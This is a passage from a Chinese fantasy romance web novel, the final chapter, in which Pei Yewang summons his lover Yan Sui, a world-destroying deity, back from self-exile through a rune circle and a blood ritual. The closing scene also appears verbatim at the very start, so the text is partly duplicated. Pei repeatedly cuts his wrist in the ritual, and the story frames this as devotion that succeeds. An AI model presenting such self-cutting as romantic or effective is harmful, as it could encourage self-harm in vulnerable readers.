等苏婉迷迷瞪瞪地去封存的各个地方寻找常用物品的时候,裴野望瞥了陈志行一眼:“你都听到了,就是这个意思。” 陈志行一怔,面色变来变去,终于下定了决心:“裴大,我来帮你!” 之前封锁急诊大楼时清扫了不少东西,但有苏婉这个熟悉的人在,还是找到了不少晏绥曾经常用的医疗器械、纸笔、水杯、键盘等等,甚至还有他放在休息室的备用衣物和两件干净的白大褂。 等苏婉抱着这一大堆杂七杂八的东西回到大厅里时,就看到裴野望和陈志行一起在大厅光洁的地板上画了一个巨大的、奇异的符文法阵。 苏婉下意识地瞄了一眼,在感受到头晕目眩的瞬间就识相地收回了视线,别开脸喊道:“东西放哪里?” 陈志行小跑着过来接过东西,按照某种规律将一件件东西摆好,最后沾染晏绥气息最多的衣物被放置在裴野望周围最近的地方。 他退出法阵,略有踌躇地问道:“这样就行了吗?我们……真的有可能成功吗?” 裴野望就站在法阵中心,闻言耸了耸肩,说:“我也不知道,赌一把吧。” 在陈志行的无语凝噎中,他低头打量了法阵片刻,突然抬头说:“苏护士,你弄的牌位可以给我吗?” 说是牌位,其实就是一个简单的木头牌子加底座,上面简单地写了晏绥的名字和生卒时间。 裴野望看着牌位,轻轻一笑:“这毕竟是他第一次主动选择成为主宰,说不定转机就藏在这里面呢。” 他抬手,拇指用力按在木牌上,将生卒时间后面的日期抹去,然后从裤兜里摸出一把匕首,在木牌名字上方一笔一划地刻下四个大字。 ——创生主宰。 再将密密麻麻的符文咒语刻画其上后,裴野望放下牌位,匕首转了一个弯,往自己手腕上用力一割。 鲜血如注,在陈志行的惊呼中通通浇淋在牌位上。 于此同时,裴野望开始按照咒文虔诚地颂念。 “我伟大的,至高无上的创生主宰晏绥,您最虔诚的、忠贞的、卑微的信徒和爱人,于此呼唤您……” “祈求您落下一丝怜悯的目光,给予您的信徒一丝垂怜……” 明亮的光从地上的阵纹中亮起,刺眼的白光和狂风自法阵中升起,裹着阵法中心的裴野望不断旋转。 裴野望坚定地一次次割破手腕不让鲜血停下,口中的颂念重复不断,确保自己的每一字每一句都清晰可闻。 不知何时,裴野望觉得自己头脑渐渐空明澄澈,所有的杂念一点点被颂念的咒文洗去,他感觉到自己仿佛飘了起来,直入空中,飘出大气层,飘出地球,飘出宇宙,然后在遥远不可及的未知之地看到了盘腿独坐在王座上的青年。 他望着青年,努力伸出手。 你已经不是曾经那个只懂毁灭的主宰了,你从毁灭中发现了生命的力量,我就是最好的实证,不是吗? 那个地方太空太冷了,晏绥,回来吧。 遥远王座上的主宰睫毛颤动了一下。 谁? 谁在呼唤我名? 祂缓缓睁开眼,抬手一招,将那微弱的,却不可忽视的微小光点召入手心。 那是信仰和供奉凝结出的微光,也是这么多次轮回和毁灭中,祂第一次收到的微光。 可是…… 创生主宰是什么?是在叫祂吗? 微光倏地扩散而来,化作一股微风轻轻拂过主宰脸侧,带来一阵柔软的花香。 等等,哪来的花香? 主宰茫然地抬眼向四周看去,发现原本终年弥漫的浓雾不知何时退去了大半,空旷的殿堂里,无数奇花异草从中生出,随着微风缓缓摇晃。 主宰站起了身,抬起手,一片柔软的白色花瓣落在祂的掌心里。 法阵中的白光轰然大盛! 在苏婉的尖叫中,白光彻底包围住了整栋急诊大楼。 所有特异机构的检测仪器同时大声报警。 在他们手忙脚乱地寻找能量爆发点的时候,裴野望在法阵中张开双臂,用力将从白光中出现的青年用力抱进怀里。 他笑着,轻声说:“欢迎回来,我的神明。” “我回来了,我的爱人。” 晏绥抹去裴野望手腕上纵横交错的刀口,抬起头重重地吻了上去。 他以他的所有力量作为契约,约定从此再也没有东西可以将他们分离。 第65章 【正文完】 第65章 【正文完】 恍惚之中, 裴野望只觉得自己仿佛重回了那年七岁之时。 周围炽烈的火焰灼灼燃烧,烧得他全身烫得快要融化。 滚烫的呼吸中,焦糊的味道、呛鼻的烟和血的味道充斥鼻腔, 已经分不清究竟是来源于他还是来源于压在身上的父母尸体。 他们拼命为他挡下了最致命的爆炸冲击波,但与此同时, 他的胸口也被一块爆炸碎裂的铁片刺穿, 鲜血不受控制地大量流溢。 他趴在地上虚弱得动弹不得, 在焦热的空气中渐渐感觉到了身体在发冷。 他……就要死了吗? 这时, 天空中有什么降下来, 一颗古怪的, 半透明锈红色球体无声无息地出现在他面前。 一道裂隙横贯球体,裂开扩大,像是一只可怖的、血红的“眼”睁开了, 凝望着他。 突兀地, 裴野望突然理解了祂的意思。 ——想要活下来吗?代价就是你未来的生命。 ……未来的生命? 他当然愿意! 只要能活下去…… 小小的裴野望极力伸出手臂, 握住了那颗锈红色的球体。 他勉力收回沾满鲜血的手, 就要按照祂的指示放入自己被刺穿的胸口。 突然,一只苍白的手伸来,用力猛地握住了他的手臂。 小裴野望诧异地抬头,瞬间被震惊到失语。 一个身披红色纹路的半透明白纱, 看不清面貌的青年半蹲在他身前,握着他的手臂, 静静地看着他。 他看着祂伸出不似人类的苍白手指,将他手掌里那颗半透明的锈红色球体轻轻拿走。 小裴野望愣愣地望着那颗被拿走的球体。 那颗球体里不知何时已经生出了一颗黑白分明的眼球, 祂又闭上了“眼”, 静静地躺在青年的掌心。 不知为何,他总觉得, 那颗球体心甘情愿被拿走,甚至是带着一丝满足地被青年吞入口中。 在他犹自茫然无措的时候,青年放下了他的手臂,然后捧起他的脸,轻轻在他的额头落下一吻。 轻如柔云的触感一触即离,仿若虚幻的梦。 小裴野望回过神来时,青年已经转身离开。 他没由来地感到一阵强烈的心慌,他下意识地极力伸出手,然而那柔软的红纹白纱轻柔地掠过他的指缝,却滑溜地根本抓不住。 不……别走,别走! 不要走——! 裴野望赫然睁开双眼,一下弹坐起来。 靠在一旁打瞌睡的陈志行被吓得同样弹起来,在床边手足无措地转了几圈,小心问道:“裴大,你还好吗?” 裴野望低头摸了摸胸口,多年锻炼的身体依旧强健有力,但里面附着的那颗球体和被他强行嵌入身体绞杀的结晶小肠都不见了。 他抬起头,嗓音沙哑地开口问道:“……晏绥呢?” 陈志行脸色发白,数度张口,才勉强凑出一句话:“晏,晏医生他,消失了。” 其实他们都有一个猜想,既然毁灭的主宰没有毁灭世界,那他是不是把自己给毁灭了…… 裴野望黑沉沉的目光定定地看着陈志行,几乎要洞穿了他,将他的所思所想都看得一清二楚。 片刻后,他沉声说:“他还活着。” 陈志行一愣:“什么?” 裴野望低头看着自己的右手,低声说:“他还活着,我很确定。” “这怎么可能?那为什么世界还好好的?”陈志行不可置信地反问。 裴野望想到梦中所见披着白纱的青年,握紧了拳头,心痛得难以呼吸。 还能为什么?因为晏绥选择了自我放逐,彻底与现实世界隔绝啊! …… 朦胧混沌的灰蒙雾气如常涌动着,高耸入云的黑色长柱交汇之处,所有立柱彼此拱立着,形成了一个通天彻地的古怪王座。 身披白纱,肤色苍白如玉的青年静静地倚坐在王座上,撑着额头闭目不言。 巨大的黑影自浓雾后显现,祂黑红色的、外附层层骨刺或是鳞甲的庞大身躯恭敬地匍匐在地,轻柔的声音层层叠叠地在这片浓雾中回荡。 “我至高无上的主宰,您是此间唯一的神王,您本可以向着世界施展您所有的威能,为何您沉默至今,甚至自我封闭至此?” 说着,祂直起身,一双眼恭敬崇敬地注视着祂的主宰,挥舞着粗壮的黑红色肢体继续说:“虽然本次轮回剧目不慎出现了一点点的、小小的意外,但此间的剧目也在我的力挽狂澜下成功落幕!待一切回归原点,我愿尽其所能,指挥一出更为完美,更为刺激的轮回戏剧……” 见主宰始终不言不语,祂起身张开黑红色的肢体,赫然朝着浓雾的上方挥舞利爪。 浓郁到凝成实质的深紫色异化污染力量划破灰朦的浓雾,呼啸朝着上方一个蓝绿色的球体挥去。 然而那道足以毁灭一颗星球的刀刃在即将冲破浓雾之时,就被一道亮白色的光网拦截,反弹而回,重重地打在黑红存在身上。 这种力量本就是自祂生发出的力量,当然无法对作为力量本源的祂产生任何伤害,但祂还是被冲击力打得连连后退。 祂捂着胸口,不可置信地看向主宰,哀叫道:“我至高无上的主宰,您为何要阻止我?” “闭嘴。” 晏绥终于睁开眼,灿烂的金红色光芒泄出,两轮金红色发光球体如煌煌大日,照亮了整片灰朦空间,令人难以直视,甚至连黑红存在也不得不退避。 金红色的光芒渐歇,内收凝聚,形成了晏绥一双金红色的瞳孔。 祂注视着这个童年的“玩伴”,侍奉灭世主宰的疯狂侍从,自祂身体中生出的毁灭信使。 “已经够了,小黑。” 主宰缓缓起身,抬手一拂,无数灰雾散开,露出上空的漫天星辰。 无数相似的蓝绿色星球整齐地排列在空中,以各种方式彻底破碎崩毁,它们色泽灰败,毫无生机,随时可能散成虚无的烟尘。 唯有排在最末的一颗蓝绿色星球还反射出健康明亮的光,生命的气息在上面盘旋萦绕,生生不息。 祂静静凝望着那颗星球,孑然而立,不言不语,满身孤寂。 “小黑”不安地注视着主宰的背影,恨得快要发疯。 祂已经越来越无法感应和影响到主宰的意志和思绪,不明白为什么主宰还保持着这幅脆弱人类的样貌。 是不是因为那颗“眼睛”! 祂明明将那颗“眼睛”多次碾碎,多次驱逐,没想到还是被祂钻了空子,落到了主宰轮回的戏剧里。 虽然如今主宰成功苏醒,但那颗被主宰吞入体内的“眼睛”依旧令祂非常不安,就像是悬在祂头上的一颗不定时炸弹,不知何时就要彻底引爆。 祂不愿就此坐以待毙,再次轻缓地开口:“我至高无上的主宰,我已经准备好开展下一次的轮回戏剧了,您做好准备了吗?需要我为您取出那颗令人厌恶痛苦的‘眼睛’吗?” “没有意义了。” 主宰摇头轻笑,抬手轻轻按在胸口,低声说:“我说为什么知道我救不了弥霍斯,原来我的心里也有一个空洞,而我现在才真正的‘看见’它。” “真的是……好疼好空啊……” “小黑”一急,马上扑上前:“我马上为您取出‘眼睛’!” 然而一股劲风骤然袭来,将“小黑”整个吹远,不让祂靠近主宰。 主宰依旧捂着胸口,祂抬手凝聚出那颗虚幻的锈红色眼球,自言自语道:“可若看不见这个空洞,我又要怎么填补它呢?只能如弥霍斯一般无尽地外求,强迫地不断重复,终究什么都得不到。” “小黑”趴在地面上,焦急又恐惧,嘶声叫嚷:“您到底在求什么?作为世界的主宰,如此多的轮回都为您而生,为何您始终不曾展颜?” “明明在这里,您才可以彻底放纵天性,无忧无虑地做最真实的自己!” 晏绥瞥视过去,淡声说:“因为你只是我所有负面情绪的化身,但你不是我,我也不是你。别用你的思维来揣摩我。” “我”是谁? “我”就是我,完完整整,能知能觉的我。 主宰在王座上盘腿坐下,双手捧着那颗“眼睛”。 祂浑身散发出了金红的光,穿透了所有灰朦的迷雾。 “小黑”仿佛被在这一片金红的光芒穿刺,祂痛苦地惨叫翻滚着,利爪抓挠着地面,咆哮道:“我至高无上的主宰,您要抛弃最为忠诚的我吗?您要抛弃为您抵御悲伤和痛苦的我吗?” “如果没有我,以后还有谁能来保护你——!” “谢谢你,小黑。” 主宰静静地凝望着“小黑”,平静和缓地说:“谢谢你曾经保护了我,但我现在不需要了,我可以有更好的方法保护自己。” “小黑”呆呆地看着祂的主宰,这才发现穿透身体的金红光芒并不疼痛,相反,还非常的温暖,非常平和。 祂痴痴地望着祂的主宰,终是流着泪再次匍匐在地,不再言语。 主宰闭上了眼,静静盘坐。 就这样吧,让一切毁灭和轮回的恶果在此终结。 …… A市人民医院的急诊大楼正式被废弃,和其他许多曾经陷入副本化的区域一样被圈起,作为拆迁重建计划中的待拆地点之一。 裴野望到达急诊大楼时,陈志行还在犹豫着试图开口:“裴大,您真的不回特处局了?” 裴野望自那次醒来后,便发现自己在和那颗半透明锈红色球体多年同化后,身上居然依旧保留有部分球体本身的特性。 他诡异地没了任何堕化的可能和危险,精神值稳固得可怕,力量也保留了大半,甚至还有了小幅度地稳固身边人精神值的被动能力。 如今无论是特处局、战员大队,还是研收中心,都非常眼馋他。 “说了多少次了,不用叫我裴大,我已经不是大队长了。”裴野望大长腿迈的步子很大,陈志行必须小跑着才能跟上。 他嗓音带笑,慢悠悠地说:“特处局战员的要求之一就是无信仰。很不幸,现在我有了。” 陈志行一愣,心里生出一丝略带荒谬的预感:“什么?” 裴野望不理他,径直上前推开贴了封条的玻璃门,猛地撞上半蹲在地上手忙脚乱收拾东西的苏婉。 “啊……原来是裴大啊。” 苏婉讪讪一笑,抱着怀里一大堆食物、香烛、纸钱,甚至还有一块牌位。 她用力将那块牌位用力塞进袋子里,尴尬地试图转移话题:“那个,裴大来出任务吗?我,我马上走。” “……” 裴野望无语片刻,扶额说:“他没死,不用给他上牌位烧香烧纸。” “真的吗?他还活着?” 苏婉像个仓鼠一样抱着大塑料袋,飞快地眨了眨眼睛,努力将眼里的水意眨掉。 她偏着头,掩饰般的嘟囔道:“毕竟我说过谁能让我辞职,我给他磕十个响头……还有徐青山那个家伙,现在出不来了,非要我连带供上他的份……” 抱着塑料袋的手不由收紧,苏婉低声说:“磕头做不到了,给他上供点东西总还是可以的吧……” 陈志行抓了抓脑袋,也不知道说她什么好。 裴野望笑了笑,说:“我们也可以换个方式。你对这栋大楼比我熟,能帮我把这栋大楼里晏绥常用的东西都收集起来吗?” 苏婉和陈志行同时茫然:“啊?” 裴野望这是想要睹物思人? 裴野望抬头望了望墙壁上消失一空的急诊科守则,平静又笃定地说:“我们来将他召唤回来。” “啊?!!” 苏婉和陈志行眼睛都快瞪脱眶了。 裴野望:“帮个忙,苏护士,就当是还上这十个响头了。” 等苏婉迷迷瞪瞪地去封存的各个地方寻找常用物品的时候,裴野望瞥了陈志行一眼:“你都听到了,就是这个意思。” 陈志行一怔,面色变来变去,终于下定了决心:“裴大,我来帮你!” 之前封锁急诊大楼时清扫了不少东西,但有苏婉这个熟悉的人在,还是找到了不少晏绥曾经常用的医疗器械、纸笔、水杯、键盘等等,甚至还有他放在休息室的备用衣物和两件干净的白大褂。 等苏婉抱着这一大堆杂七杂八的东西回到大厅里时,就看到裴野望和陈志行一起在大厅光洁的地板上画了一个巨大的、奇异的符文法阵。 苏婉下意识地瞄了一眼,在感受到头晕目眩的瞬间就识相地收回了视线,别开脸喊道:“东西放哪里?” 陈志行小跑着过来接过东西,按照某种规律将一件件东西摆好,最后沾染晏绥气息最多的衣物被放置在裴野望周围最近的地方。 他退出法阵,略有踌躇地问道:“这样就行了吗?我们……真的有可能成功吗?” 裴野望就站在法阵中心,闻言耸了耸肩,说:“我也不知道,赌一把吧。” 在陈志行的无语凝噎中,他低头打量了法阵片刻,突然抬头说:“苏护士,你弄的牌位可以给我吗?” 说是牌位,其实就是一个简单的木头牌子加底座,上面简单地写了晏绥的名字和生卒时间。 裴野望看着牌位,轻轻一笑:“这毕竟是他第一次主动选择成为主宰,说不定转机就藏在这里面呢。” 他抬手,拇指用力按在木牌上,将生卒时间后面的日期抹去,然后从裤兜里摸出一把匕首,在木牌名字上方一笔一划地刻下四个大字。 ——创生主宰。 再将密密麻麻的符文咒语刻画其上后,裴野望放下牌位,匕首转了一个弯,往自己手腕上用力一割。 鲜血如注,在陈志行的惊呼中通通浇淋在牌位上。 于此同时,裴野望开始按照咒文虔诚地颂念。 “我伟大的,至高无上的创生主宰晏绥,您最虔诚的、忠贞的、卑微的信徒和爱人,于此呼唤您……” “祈求您落下一丝怜悯的目光,给予您的信徒一丝垂怜……” 明亮的光从地上的阵纹中亮起,刺眼的白光和狂风自法阵中升起,裹着阵法中心的裴野望不断旋转。 裴野望坚定地一次次割破手腕不让鲜血停下,口中的颂念重复不断,确保自己的每一字每一句都清晰可闻。 不知何时,裴野望觉得自己头脑渐渐空明澄澈,所有的杂念一点点被颂念的咒文洗去,他感觉到自己仿佛飘了起来,直入空中,飘出大气层,飘出地球,飘出宇宙,然后在遥远不可及的未知之地看到了盘腿独坐在王座上的青年。 他望着青年,努力伸出手。 你已经不是曾经那个只懂毁灭的主宰了,你从毁灭中发现了生命的力量,我就是最好的实证,不是吗? 那个地方太空太冷了,晏绥,回来吧。 遥远王座上的主宰睫毛颤动了一下。 谁? 谁在呼唤我名? 祂缓缓睁开眼,抬手一招,将那微弱的,却不可忽视的微小光点召入手心。 那是信仰和供奉凝结出的微光,也是这么多次轮回和毁灭中,祂第一次收到的微光。 可是…… 创生主宰是什么?是在叫祂吗? 微光倏地扩散而来,化作一股微风轻轻拂过主宰脸侧,带来一阵柔软的花香。 等等,哪来的花香? 主宰茫然地抬眼向四周看去,发现原本终年弥漫的浓雾不知何时退去了大半,空旷的殿堂里,无数奇花异草从中生出,随着微风缓缓摇晃。 主宰站起了身,抬起手,一片柔软的白色花瓣落在祂的掌心里。 法阵中的白光轰然大盛! 在苏婉的尖叫中,白光彻底包围住了整栋急诊大楼。 所有特异机构的检测仪器同时大声报警。 在他们手忙脚乱地寻找能量爆发点的时候,裴野望在法阵中张开双臂,用力将从白光中出现的青年用力抱进怀里。 他笑着,轻声说:“欢迎回来,我的神明。” “我回来了,我的爱人。” 晏绥抹去裴野望手腕上纵横交错的刀口,抬起头重重地吻了上去。 他以他的所有力量作为契约,约定从此再也没有东西可以将他们分离。